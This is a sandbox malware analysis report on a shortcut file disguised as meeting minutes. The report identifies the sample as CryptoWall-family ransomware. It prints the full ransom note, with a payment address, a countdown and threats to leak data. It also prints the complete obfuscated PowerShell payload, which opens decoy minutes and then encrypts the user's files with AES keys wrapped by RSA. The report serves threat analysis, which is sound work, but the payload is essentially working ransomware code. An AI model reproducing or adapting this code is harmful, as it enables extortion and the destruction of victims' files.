Analysis

  • max time kernel
    101s
  • max time network
    104s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250502-en
  • resource tags

    arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    12/07/2025, 17:37

General

  • Target
    Project_Workshop_7th_Minutes.txt.lnk
  • Size 37KB
  • Sample250712-v7b6cstrt7
  • SHA256 12e2fd6aeee691d88791f0eea11ebbc4ad4cc2e895b69b3c186f9f9422ce7c31
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Path
  • C:\Users\Admin\Videos\DECRYPT_INSTRUCTION.html

Ransom Note
  • <!DOCTYPE html><html lang='en'><head><meta charset='utf-8'/><meta content='width=device-width, initial-scale=1.0' name='viewport'/><title>DECRYPT INSTRUCTION</title><style>* {box-sizing:border-box;}body {min-height:100vh;padding:20px;}.container {max-width:900px;margin:20px auto;background-color:#fff;border-radius:8px;overflow:hidden;box-shadow:0 5px 15px rgba(0, 0, 0, 0.1);border:1px solid #e0e0e0;}.header {background-color:rgb(144, 0, 33);text-align:center;color:white;display:flex;align-items:center;justify-content:center;gap:15px;border-bottom:2px solid rgb(100, 0, 23);}.lock-icon {font-size:24px;background-color:#fff;color:rgb(144, 0, 33);width:40px;height:40px;border-radius:50%;display:flex;align-items:center;justify-content:center;}.header h1 {font-size:24px;letter-spacing:0.5px;}.countdown-container {display:flex;justify-content:space-around;padding:20px;background-color:rgb(144, 0, 33);color:white;border-bottom:1px solid rgb(100, 0, 23);}.countdown-box {background-color:rgba(0, 0, 0, 0.2);border-radius:6px;padding:15px 20px;text-align:center;width:400px;}.countdown-title {font-size:16px;font-weight:bold;margin-bottom:10px;color:white;}.timer {font-size:20px;font-weight:bold;letter-spacing:1px;background-color:#000;color:#ff3333;padding:8px;border-radius:4px;text-align:center;}.warning {font-size:13px;font-style:italic;color:white;text-align:center;margin-top:8px;}.content {padding:30px;}.section {margin-bottom:30px;}.section-title {font-size:20px;margin-bottom:15px;font-weight:bold;color:rgb(144, 0, 33);}.section-content {line-height:1.6;margin-bottom:15px;}.monero-address {margin-top:20px;background-color:#f9f9f9;padding:20px;border-radius:6px;border-left:4px solid rgb(144, 0, 33);}.address-label {font-size:16px;font-weight:bold;color:rgb(144, 0, 33);margin-bottom:10px;}.address-box {display:flex;background:#f0f0f0;border:1px solid #ddd;border-radius:4px;overflow:hidden;margin-top:10px;}.address-input {flex:1;padding:12px 15px;font-size:14px;border:none;background:#f5f5f5;color:#333;}.generate-btn {background-color:rgb(144, 0, 33);color:white;border:none;margin-top:12px;padding:12px 15px;border-radius:4px;cursor:pointer;font-size:14px;}.copy-btn {background-color:#6c757d;color:white;border:none;padding:0 15px;cursor:pointer;font-size:14px;transition:background-color 0.3s;}.copy-btn:hover {background-color:#5a6268;}.footer {background-color:rgb(144, 0, 33);padding:15px;text-align:center;font-size:12px;color:white;border-top:1px solid rgb(100, 0, 23);}.contact-address {background-color:#f9f9f9;padding:20px;border-radius:6px;border-left:4px solid rgb(144, 0, 33);margin-top:20px;}.contact-label {font-weight:bold;margin-bottom:8px;color:rgb(144, 0, 33);}</style></head><body><div class='container'><div class='header'><div class='lock-icon'>🔒</div><h1>DECRYPT INSTRUCTION</h1></div><div class='countdown-container'><div class='countdown-box'><div class='countdown-title'>PAYMENT DUE IN</div><div class='timer' id='paymentTimer'>48:00:00</div><div class='warning'>After this time, the price will double</div></div><div class='countdown-box'><div class='countdown-title'>FILES LOST IN</div><div class='timer' id='fileTimer'>120:00:00</div><div class='warning'>After this time, decryption will be impossible</div></div></div><div class='content'><div class='section'><div class='section-title'>1. What Happened?</div><div class='section-content'><p>Your important files are encrypted.</p><p>Many of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. <strong>Nobody can recover your files without our decryption service.</strong></p></div></div><div class='section'><div class='section-title'>2. Can I Recover My Files?</div><div class='section-content'><p>Sure. We guarantee that you can recover all your files safely and easily. But you have not so enough time. If you want to decrypt all your files, you need to pay.</p><p>You only have 2 days to submit the payment. After that the price will be doubled. <strong>Also, if you don't pay in 5 days, we will disclose the private data to your contacts, and you won't be able to recover your files forever.</strong></p></div></div><div class='section'><div class='section-title'>3. What about guarantees?</div><div class='section-content'><p>Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests.</p></div></div><div class='section'><div class='section-title'>4. How Do I Pay?</div><div class='section-content'><p>Payment is accepted in Monero (XMR) only. For more information, click <a href='https://www.getmonero.org/'>About Monero</a>. Please check the current price of Monero and send the correct amount. For more information, click <a href='https://www.kraken.com/learn/buy-monero-xmr'>How to buy Monero</a>. Once the payment is checked, we guarantee that you will immediately receive the key and can decrypt your files.</p><div class='monero-address'><div class='address-label'>Send $500 worth of Monero to this address:</div><div class='address-box'><input class='address-input' readonly='' type='text' value='8BEMpCuSL5aBF5rG1a9UNFgBcPU16eNUXbXDBzQJqD3E4jdJaUhAw3LCVH3F4gPUysioYrjsPMa3447oLoSuAhUrH7EQtCC'/><button class='copy-btn'>Copy</button></div></div><p>After your payment, you can find 'Transaction ID' and 'Transaction Key' on the transfers page. These IDs are generated to prove the validity of the transaction. Please fill in the boxes below and click the [Generate Machine ID] button.</p><div class='monero-address'><div class='address-label'>Transaction ID:</div><div class='address-box'><input class='address-input' id='TxnID' type='text'/></div><div class='address-label'>Transaction Key:</div><div class='address-box'><input class='address-input' id='TxnKey' type='text'/></div><button class='generate-btn' onclick='saveMachineID()'>Generate Machine ID</button></div><p><strong>This will generate a Machine ID file that needs to be sent along to us in order to decrypt files.</strong></p></div></div><div class='section'><div class='section-title'>5. How will the decryption process proceed after payment?</div><div class='section-content'><p>After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files.</p></div></div><div class='section'><div class='section-title'>6. How to contact with you?</div><div class='section-content'><p>You can contact us via mailbox or TOX. If you don't know about TOX, go to <a href='https://tox.chat'>https://tox.chat.</a></p><p><strong>Finally, trust that we are a reputable group. We promise that you can recover all your files after the payment.</strong></p></div></div><div class='contact-address'><div class='contact-label'>Email Address:</div><div class='address-box'><input class='address-input' readonly='' type='text' value='[email protected]'/><button class='copy-btn'>Copy</button></div><div class='contact-label'>Tox ID:</div><div class='address-box'><input class='address-input' readonly='' type='text' value='D6DABDD9600C9C5481ED4127071509D287DD539FB36F0BC82D4FA0F0800AF970923B5500064D'/><button class='copy-btn'>Copy</button></div></div></div><div class='footer'>© 2025 File Decryptor Service. All rights reserved. Decryption keys are securely stored on our servers. </div><div data-payload='dVv1xLcceR53ZpswHt4wsq6DyhbzpmjKbpfrYNAg7jsaSEmUk7tgJkuayXjPYYQhMzDZ/T/sldFE8Yj9e5jrXyCe6/bC+qYU/Uv3Q8oBOBiwJYCBMlaYzJi9aHEpWb7lrqKWIjKbX7xymDkCesKi7NO4c8uAczKKL2HqLgZoiqig3ifo3T1LqXq3Pm8onV8i5IRJcd9XmUoUAuN6+VGanpkg83npGDU5JtRBE7WelRIrsTsZuqN5JUkkSSzY5h1/VjAO7mB0fCqbhLP+wt9c0ThfmfX1S1cCmnjAUF3xQF4wJ58PzBRMzepPf8OCPOiS6xcbhCu1jKWvx7rQutj45w==' id='data'></div></div><script>const eData = new Date(1752341849*1000);function startCountdown(){const paymentTimer = document.getElementById('paymentTimer');const fileTimer = document.getElementById('fileTimer');const paymentDue = new Date(eData);paymentDue.setDate(paymentDue.getDate()+ 2);const fileLost = new Date(eData);fileLost.setDate(fileLost.getDate()+ 5);function updateTimers(){const now = new Date();let paymentDiff = paymentDue - now;if (paymentDiff <= 0){paymentTimer.textContent = '00:00:00';}else {const paymentHours = Math.floor(paymentDiff / (1000 * 60 * 60));paymentDiff %= (1000 * 60 * 60);const paymentMinutes = Math.floor(paymentDiff / (1000 * 60));paymentDiff %= (1000 * 60);const paymentSeconds = Math.floor(paymentDiff / 1000);paymentTimer.textContent = paymentHours.toString().padStart(2,'0')+':'+paymentMinutes.toString().padStart(2,'0')+':'+paymentSeconds.toString().padStart(2,'0');}let fileDiff = fileLost - now;if (fileDiff <= 0){fileTimer.textContent = '00:00:00';}else {const fileHours = Math.floor(fileDiff / (1000 * 60 * 60));fileDiff %= (1000 * 60 * 60);const fileMinutes = Math.floor(fileDiff / (1000 * 60));fileDiff %= (1000 * 60);const fileSeconds = Math.floor(fileDiff / 1000);fileTimer.textContent = fileHours.toString().padStart(2,'0')+':'+fileMinutes.toString().padStart(2,'0')+':'+fileSeconds.toString().padStart(2,'0');}}updateTimers();setInterval(updateTimers, 1000);}function saveMachineID(){const TxnID = document.getElementById('TxnID').value.trim();const TxnKey = document.getElementById('TxnKey').value.trim();const MID = document.getElementById('data').dataset.payload;if (TxnID.length!==64){alert('Invalid Transaction ID');return;}if (TxnKey.length!==64){alert('Invalid Transaction Key');return;}const comb = TxnID+TxnKey+MID;const blob = new Blob([comb], {type:'text/plain;charset=utf-8'});const fileName = 'Your_Machine_ID.txt';const url = URL.createObjectURL(blob);const a = document.createElement('a');a.href = url;a.download = fileName;a.style.display = 'none';document.body.appendChild(a);a.click();}document.querySelectorAll('.copy-btn').forEach(button =>{button.addEventListener('click', async function(){const input = this.parentNode.querySelector('.address-input');try {await navigator.clipboard.writeText(input.value);const originalText = this.textContent;this.textContent = 'Copied!';setTimeout(()=>{this.textContent = originalText;}, 2000);}catch (err){console.error('Copy fail:', err);}});});window.onload = startCountdown;</script></body></html>
Emails

Signatures

  • CryptoWall

    Ransomware family which is an improved version of the older CryptoDefense.

  • Cryptowall family
  • Renames multiple (122) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Project_Workshop_7th_Minutes.txt.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c "$f='C:\Users\'+$env:USERNAME+'\Downloads\Project_Workshop_7th_Minutes.txt';$c=\"MEETING MINUTES`r`nProject/Committee: Quarterly Research Progress Review`r`nTime: 10:00 AM - 11:30 AM`r`nLocation: Conference Room 301, Innovation Center`r`nChairperson: Dr. Alexandra Chen`r`nSecretary: Janna Riley`r`n`r`nATTENDEES`r`nChair, RDC Department: Dr. Alexandra Chen`r`nExternal Advisor: Prof. Benjamin Lee`r`nLead Researcher: Dr. Sophia Martinez`r`nData Analyst: Mr. James Wilson`r`nProject Coordinator: Ms. Emily Zhao`r`nAbsent with Notice: Dr. Robert Kim`r`n`r`nAGENDA ITEMS`r`n1. Review of Q2 Research Milestones`r`nDiscussion: Dr. Martinez presented progress on Phase 3 clinical trials, highlighting 85% participant enrollment completion. Prof. Lee raised concerns about data variance in Group B. Decision: Approval to allocate additional 15,000 budget for statistical consultation.`r`nAction Items:`r`n(1) Dr. Martinez to submit revised analysis report.`r`n(2) Mr. Wilson to audit Group B data anomalies.`r`n`r`n2. Publication Strategy for Findings`r`nDiscussion: Debate on prioritizing high-impact journals vs. open-access platforms. Ms. Zhao noted funding mandates requiring open-access compliance.`r`nDecision: Dual-track submission to The Lancet and institutional repository.`r`nAction Items:`r`n(1) Prof. Lee to contact Lancet editorial board.`r`n(2) Ms. Zhao to prepare preprint deposit.`r`n`r`n3. Ethics Compliance Update`r`nDiscussion: IRB flagged consent form discrepancies in Site 5 documentation.`r`nDecision: Immediate suspension of Site 5 recruitment pending audit.`r`nAction Items:`r`n(1) Dr. Chen to lead compliance review team.\";Set-Content -Path $f -Value $c -Encoding UTF8 -Force;Invoke-Item $f;$vRTfFXbX99=$eNV:USERNAME;$slFWoOrP99='C:\Users\'+$vRTfFXbX99;$AkGaihQv99=@('\Desktop','\Documents','\OneDrive','\Pictures','\Videos','\Music','\Downloads');$kEY=New-Object byte[] 16;$zyBYjPSi99=[SYsteM.SeCUrIty.CryptoGrApHy.rngCRyptoSErvicEPRovIDEr]::new();$zyBYjPSi99.GetBytes($kEY);$Key_m=[byte[]]@(0xdd,0x39,0x18,0xff,0x64,0xd4,0xfb,0xc6,0xc7,0x6e,0x89,0x82,0xff,0xca,0x9e,0xe5,0x0f,0x7b,0x30,0x8a,0xe0,0xc1,0x53,0x11,0x84,0x5a,0xac,0x09,0xca,0xf0,0xc9,0xea,0x15,0x37,0x98,0x88,0x92,0x4e,0xb4,0xce,0x12,0x51,0x7d,0xb7,0xc2,0xf3,0x54,0x96,0xd4,0x12,0x66,0xbd,0x35,0x19,0xd9,0x14,0x71,0xe6,0x3d,0x68,0x1e,0x44,0x7f,0xc9,0x85,0xf8,0x38,0x76,0x9a,0x12,0xad,0x4f,0xc6,0x0b,0x25,0x70,0x24,0x0e,0x4b,0x39,0xe8,0x59,0x25,0xe7,0x96,0x2b,0x60,0xe2,0x1c,0x58,0xbf,0x9b,0xbf,0x93,0x83,0xef,0x65,0xdd,0x02,0xa4,0xa8,0x3d,0x9d,0xd3,0x85,0xb6,0xb7,0x5a,0xe5,0x12,0x4c,0xe4,0x92,0xd2,0x0b,0x02,0xd0,0x5e,0x78,0x7d,0xb4,0x6c,0xb0,0xa9,0xda,0x2a,0xe2,0x1a,0x65,0x12,0xed,0x98,0x88,0x51,0xac,0x81,0x0c,0x5d,0x0d,0xd2,0xc7,0x17,0x7a,0x50,0x1f,0xbe,0xbe,0x64,0x33,0xb5,0x43,0x66,0x95,0xeb,0xe7,0x0e,0xd8,0x6c,0xb8,0x4e,0xac,0xf6,0x1c,0x23,0x50,0x37,0x6f,0xb3,0x77,0xeb,0xf4,0x9f,0x8c,0xf1,0x40,0x24,0x98,0x92,0xc4,0xf0,0x96,0x0f,0x43,0x65,0xaf,0xfb,0x94,0xc4,0x1f,0x14,0x08,0x56,0x8b,0xfe,0x6d,0x9a,0x5a,0x08,0xd8,0xe0,0x74,0x49,0x87,0x9e,0x4b,0x9a,0x92,0xad,0xa7,0xee,0x33,0x20,0x7c,0x75,0x2b,0x8b,0x37,0xd3,0x6c,0x6c,0x7a,0xd2,0x44,0x24,0x53,0xa7,0xc4,0xf2,0x3c,0xc5,0x79,0xcd,0x9c,0x70,0x04,0x02,0xf8,0x1f,0x44,0x99,0x96,0xe0,0x29,0xaa,0xa3,0x65,0xe9,0xe0,0x46,0x21,0x34,0xde,0x33,0xf5,0x73,0xeb);$kEY_E=[byte[]]@(0x01,0x00,0x01);$wVWNiGgX99=New-Object sysTEm.SEcUrIty.CRyPTOgrapHY.rSaParameters;$wVWNiGgX99.Modulus=$Key_m;$wVWNiGgX99.Exponent=$kEY_E;$rsa=[sysTEm.SEcUrIty.CRyPTOgrapHY.rSa]::Create();$rsa.ImportParameters($wVWNiGgX99);$VhBppDOc99=$rsa.Encrypt($kEY,[SYstem.secuRiTy.cRYPtOgRaPhY.rsAENCRyptioNPadDIng]::Pkcs1);$CYwQwYHI99=[sYsTem.BItconveRtEr]::GetBytes([SySTEm.dAtETiMEOfFseT]::UtcNow.ToUnixTimeSeconds());$PyCaWbSp99=@('.exe','.lnk','.dll','.bin','.bat','.cmd','.sys','.inf','.vxd','.ini','.cfg','.reg','.hiv','.ENCRYPT');foreach($CiWVvyXw99 in $AkGaihQv99) {$jGlkzoDW99=$slFWoOrP99+$CiWVvyXw99;if (Test-Path -LiteralPath $jGlkzoDW99) {$zaZUmabr99=Get-ChildItem -Path $jGlkzoDW99 -File -Recurse;foreach ($YWZsVfTx99 in $zaZUmabr99) {$HVEvLQGG99=$YWZsVfTx99.Extension.ToLower();if ($PyCaWbSp99 -contains $HVEvLQGG99){continue}try{$KDJdjrbK99=[syStEM.iO.File]::ReadAllBytes($YWZsVfTx99.FullName);$FcOlqhnq99=[SysTEM.seCurity.cRYPtOgraphy.AeS]::Create();$FcOlqhnq99.Key=$kEY;$FcOlqhnq99.GenerateIV();$FcOlqhnq99.Mode=[SySteM.SecuRiTY.CRypTogRapHY.ciPhErMOdE]::CBC;$FcOlqhnq99.Padding=[SYstEM.secuRITY.CrYPTOgrapHy.PaDDiNgMODe]::PKCS7;$xvrxmTkJ99=$FcOlqhnq99.CreateEncryptor();$oDCsHWcT99=$xvrxmTkJ99.TransformFinalBlock($KDJdjrbK99, 0, $KDJdjrbK99.Length);[syStEM.iO.File]::WriteAllBytes($YWZsVfTx99.FullName, $CYwQwYHI99+$VhBppDOc99+$FcOlqhnq99.IV+$oDCsHWcT99);$dWCcDFLY99=$YWZsVfTx99.Name+'.ENCRYPT';Rename-Item -Path $YWZsVfTx99.FullName -NewName $dWCcDFLY99 -Force;}finally {if ($FcOlqhnq99) { $FcOlqhnq99.Dispose();}}}$h=$jGlkzoDW99+'\DECRYPT_INSTRUCTION.html';$i=\"PCFET0NUWVBFIGh0bWw+PGh0bWwgbGFuZz0nZW4nPjxoZWFkPjxtZXRhIGNoYXJzZXQ9J3V0Zi04Jy8+PG1ldGEgY29udGVudD0nd2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCcgbmFtZT0ndmlld3BvcnQnLz48dGl0bGU+REVDUllQVCBJTlNUUlVDVElPTjwvdGl0bGU+PHN0eWxlPioge2JveC1zaXppbmc6Ym9yZGVyLWJveDt9Ym9keSB7bWluLWhlaWdodDoxMDB2aDtwYWRkaW5nOjIwcHg7fS5jb250YWluZXIge21heC13aWR0aDo5MDBweDttYXJnaW46MjBweCBhdXRvO2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXItcmFkaXVzOjhweDtvdmVyZmxvdzpoaWRkZW47Ym94LXNoYWRvdzowIDVweCAxNXB4IHJnYmEoMCwgMCwgMCwgMC4xKTtib3JkZXI6MXB4IHNvbGlkICNlMGUwZTA7fS5oZWFkZXIge2JhY2tncm91bmQtY29sb3I6cmdiKDE0NCwgMCwgMzMpO3RleHQtYWxpZ246Y2VudGVyO2NvbG9yOndoaXRlO2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjtnYXA6MTVweDtib3JkZXItYm90dG9tOjJweCBzb2xpZCByZ2IoMTAwLCAwLCAyMyk7fS5sb2NrLWljb24ge2ZvbnQtc2l6ZToyNHB4O2JhY2tncm91bmQtY29sb3I6I2ZmZjtjb2xvcjpyZ2IoMTQ0LCAwLCAzMyk7d2lkdGg6NDBweDtoZWlnaHQ6NDBweDtib3JkZXItcmFkaXVzOjUwJTtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7fS5oZWFkZXIgaDEge2ZvbnQtc2l6ZToyNHB4O2xldHRlci1zcGFjaW5nOjAuNXB4O30uY291bnRkb3duLWNvbnRhaW5lciB7ZGlzcGxheTpmbGV4O2p1c3RpZnktY29udGVudDpzcGFjZS1hcm91bmQ7cGFkZGluZzoyMHB4O2JhY2tncm91bmQtY29sb3I6cmdiKDE0NCwgMCwgMzMpO2NvbG9yOndoaXRlO2JvcmRlci1ib3R0b206MXB4IHNvbGlkIHJnYigxMDAsIDAsIDIzKTt9LmNvdW50ZG93bi1ib3gge2JhY2tncm91bmQtY29sb3I6cmdiYSgwLCAwLCAwLCAwLjIpO2JvcmRlci1yYWRpdXM6NnB4O3BhZGRpbmc6MTVweCAyMHB4O3RleHQtYWxpZ246Y2VudGVyO3dpZHRoOjQwMHB4O30uY291bnRkb3duLXRpdGxlIHtmb250LXNpemU6MTZweDtmb250LXdlaWdodDpib2xkO21hcmdpbi1ib3R0b206MTBweDtjb2xvcjp3aGl0ZTt9LnRpbWVyIHtmb250LXNpemU6MjBweDtmb250LXdlaWdodDpib2xkO2xldHRlci1zcGFjaW5nOjFweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Y29sb3I6I2ZmMzMzMztwYWRkaW5nOjhweDtib3JkZXItcmFkaXVzOjRweDt0ZXh0LWFsaWduOmNlbnRlcjt9Lndhcm5pbmcge2ZvbnQtc2l6ZToxM3B4O2ZvbnQtc3R5bGU6aXRhbGljO2NvbG9yOndoaXRlO3RleHQtYWxpZ246Y2VudGVyO21hcmdpbi10b3A6OHB4O30uY29udGVudCB7cGFkZGluZzozMHB4O30uc2VjdGlvbiB7bWFyZ2luLWJvdHRvbTozMHB4O30uc2VjdGlvbi10aXRsZSB7Zm9udC1zaXplOjIwcHg7bWFyZ2luLWJvdHRvbToxNXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6cmdiKDE0NCwgMCwgMzMpO30uc2VjdGlvbi1jb250ZW50IHtsaW5lLWhlaWdodDoxLjY7bWFyZ2luLWJvdHRvbToxNXB4O30ubW9uZXJvLWFkZHJlc3Mge21hcmdpbi10b3A6MjBweDtiYWNrZ3JvdW5kLWNvbG9yOiNmOWY5Zjk7cGFkZGluZzoyMHB4O2JvcmRlci1yYWRpdXM6NnB4O2JvcmRlci1sZWZ0OjRweCBzb2xpZCByZ2IoMTQ0LCAwLCAzMyk7fS5hZGRyZXNzLWxhYmVsIHtmb250LXNpemU6MTZweDtmb250LXdlaWdodDpib2xkO2NvbG9yOnJnYigxNDQsIDAsIDMzKTttYXJnaW4tYm90dG9tOjEwcHg7fS5hZGRyZXNzLWJveCB7ZGlzcGxheTpmbGV4O2JhY2tncm91bmQ6I2YwZjBmMDtib3JkZXI6MXB4IHNvbGlkICNkZGQ7Ym9yZGVyLXJhZGl1czo0cHg7b3ZlcmZsb3c6aGlkZGVuO21hcmdpbi10b3A6MTBweDt9LmFkZHJlc3MtaW5wdXQge2ZsZXg6MTtwYWRkaW5nOjEycHggMTVweDtmb250LXNpemU6MTRweDtib3JkZXI6bm9uZTtiYWNrZ3JvdW5kOiNmNWY1ZjU7Y29sb3I6IzMzMzt9LmdlbmVyYXRlLWJ0biB7YmFja2dyb3VuZC1jb2xvcjpyZ2IoMTQ0LCAwLCAzMyk7Y29sb3I6d2hpdGU7Ym9yZGVyOm5vbmU7bWFyZ2luLXRvcDoxMnB4O3BhZGRpbmc6MTJweCAxNXB4O2JvcmRlci1yYWRpdXM6NHB4O2N1cnNvcjpwb2ludGVyO2ZvbnQtc2l6ZToxNHB4O30uY29weS1idG4ge2JhY2tncm91bmQtY29sb3I6IzZjNzU3ZDtjb2xvcjp3aGl0ZTtib3JkZXI6bm9uZTtwYWRkaW5nOjAgMTVweDtjdXJzb3I6cG9pbnRlcjtmb250LXNpemU6MTRweDt0cmFuc2l0aW9uOmJhY2tncm91bmQtY29sb3IgMC4zczt9LmNvcHktYnRuOmhvdmVyIHtiYWNrZ3JvdW5kLWNvbG9yOiM1YTYyNjg7fS5mb290ZXIge2JhY2tncm91bmQtY29sb3I6cmdiKDE0NCwgMCwgMzMpO3BhZGRpbmc6MTVweDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXNpemU6MTJweDtjb2xvcjp3aGl0ZTtib3JkZXItdG9wOjFweCBzb2xpZCByZ2IoMTAwLCAwLCAyMyk7fS5jb250YWN0LWFkZHJlc3Mge2JhY2tncm91bmQtY29sb3I6I2Y5ZjlmOTtwYWRkaW5nOjIwcHg7Ym9yZGVyLXJhZGl1czo2cHg7Ym9yZGVyLWxlZnQ6NHB4IHNvbGlkIHJnYigxNDQsIDAsIDMzKTttYXJnaW4tdG9wOjIwcHg7fS5jb250YWN0LWxhYmVsIHtmb250LXdlaWdodDpib2xkO21hcmdpbi1ib3R0b206OHB4O2NvbG9yOnJnYigxNDQsIDAsIDMzKTt9PC9zdHlsZT48L2hlYWQ+PGJvZHk+PGRpdiBjbGFzcz0nY29udGFpbmVyJz48ZGl2IGNsYXNzPSdoZWFkZXInPjxkaXYgY2xhc3M9J2xvY2staWNvbic+8J+UkjwvZGl2PjxoMT5ERUNSWVBUIElOU1RSVUNUSU9OPC9oMT48L2Rpdj48ZGl2IGNsYXNzPSdjb3VudGRvd24tY29udGFpbmVyJz48ZGl2IGNsYXNzPSdjb3VudGRvd24tYm94Jz48ZGl2IGNsYXNzPSdjb3VudGRvd24tdGl0bGUnPlBBWU1FTlQgRFVFIElOPC9kaXY+PGRpdiBjbGFzcz0ndGltZXInIGlkPSdwYXltZW50VGltZXInPjQ4OjAwOjAwPC9kaXY+PGRpdiBjbGFzcz0nd2FybmluZyc+QWZ0ZXIgdGhpcyB0aW1lLCB0aGUgcHJpY2Ugd2lsbCBkb3VibGU8L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdjb3VudGRvd24tYm94Jz48ZGl2IGNsYXNzPSdjb3VudGRvd24tdGl0bGUnPkZJTEVTIExPU1QgSU48L2Rpdj48ZGl2IGNsYXNzPSd0aW1lcicgaWQ9J2ZpbGVUaW1lcic+MTIwOjAwOjAwPC9kaXY+PGRpdiBjbGFzcz0nd2FybmluZyc+QWZ0ZXIgdGhpcyB0aW1lLCBkZWNyeXB0aW9uIHdpbGwgYmUgaW1wb3NzaWJsZTwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2NvbnRlbnQnPjxkaXYgY2xhc3M9J3NlY3Rpb24nPjxkaXYgY2xhc3M9J3NlY3Rpb24tdGl0bGUnPjEuIFdoYXQgSGFwcGVuZWQ/PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbi1jb250ZW50Jz48cD5Zb3VyIGltcG9ydGFudCBmaWxlcyBhcmUgZW5jcnlwdGVkLjwvcD48cD5NYW55IG9mIHlvdXIgZG9jdW1lbnRzLCBwaG90b3MsIHZpZGVvcywgZGF0YWJhc2VzIGFuZCBvdGhlciBmaWxlcyBhcmUgbm8gbG9uZ2VyIGFjY2Vzc2libGUgYmVjYXVzZSB0aGV5IGhhdmUgYmVlbiBlbmNyeXB0ZWQuIE1heWJlIHlvdSBhcmUgYnVzeSBsb29raW5nIGZvciBhIHdheSB0byByZWNvdmVyIHlvdXIgZmlsZXMsIGJ1dCBkbyBub3Qgd2FzdGUgeW91ciB0aW1lLiA8c3Ryb25nPk5vYm9keSBjYW4gcmVjb3ZlciB5b3VyIGZpbGVzIHdpdGhvdXQgb3VyIGRlY3J5cHRpb24gc2VydmljZS48L3N0cm9uZz48L3A+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbic+PGRpdiBjbGFzcz0nc2VjdGlvbi10aXRsZSc+Mi4gQ2FuIEkgUmVjb3ZlciBNeSBGaWxlcz88L2Rpdj48ZGl2IGNsYXNzPSdzZWN0aW9uLWNvbnRlbnQnPjxwPlN1cmUuIFdlIGd1YXJhbnRlZSB0aGF0IHlvdSBjYW4gcmVjb3ZlciBhbGwgeW91ciBmaWxlcyBzYWZlbHkgYW5kIGVhc2lseS4gQnV0IHlvdSBoYXZlIG5vdCBzbyBlbm91Z2ggdGltZS4gSWYgeW91IHdhbnQgdG8gZGVjcnlwdCBhbGwgeW91ciBmaWxlcywgeW91IG5lZWQgdG8gcGF5LjwvcD48cD5Zb3Ugb25seSBoYXZlIDIgZGF5cyB0byBzdWJtaXQgdGhlIHBheW1lbnQuIEFmdGVyIHRoYXQgdGhlIHByaWNlIHdpbGwgYmUgZG91YmxlZC4gPHN0cm9uZz5BbHNvLCBpZiB5b3UgZG9uJ3QgcGF5IGluIDUgZGF5cywgd2Ugd2lsbCBkaXNjbG9zZSB0aGUgcHJpdmF0ZSBkYXRhIHRvIHlvdXIgY29udGFjdHMsIGFuZCB5b3Ugd29uJ3QgYmUgYWJsZSB0byByZWNvdmVyIHlvdXIgZmlsZXMgZm9yZXZlci48L3N0cm9uZz48L3A+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbic+PGRpdiBjbGFzcz0nc2VjdGlvbi10aXRsZSc+My4gV2hhdCBhYm91dCBndWFyYW50ZWVzPzwvZGl2PjxkaXYgY2xhc3M9J3NlY3Rpb24tY29udGVudCc+PHA+SXRzIGp1c3QgYSBidXNpbmVzcy4gV2UgYWJzb2x1dGVseSBkbyBub3QgY2FyZSBhYm91dCB5b3UgYW5kIHlvdXIgZGVhbHMsIGV4Y2VwdCBnZXR0aW5nIGJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgY29vcGVyYXRlIHdpdGggdXMuIEl0cyBub3QgaW4gb3VyIGludGVyZXN0cy48L3A+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nc2VjdGlvbic+PGRpdiBjbGFzcz0nc2VjdGlvbi10aXRsZSc+NC4gSG93IERvIEkgUGF5PzwvZGl2PjxkaXYgY2xhc3M9J3NlY3Rpb24tY29udGVudCc+PHA+UGF5bWVudCBpcyBhY2NlcHRlZCBpbiBNb25lcm8gKFhNUikgb25seS4gRm9yIG1vcmUgaW5mb3JtYXRpb24sIGNsaWNrIDxhIGhyZWY9J2h0dHBzOi8vd3d3LmdldG1vbmVyby5vcmcvJz5BYm91dCBNb25lcm88L2E+LiBQbGVhc2UgY2hlY2sgdGhlIGN1cnJlbnQgcHJpY2Ugb2YgTW9uZXJvIGFuZCBzZW5kIHRoZSBjb3JyZWN0IGFtb3VudC4gRm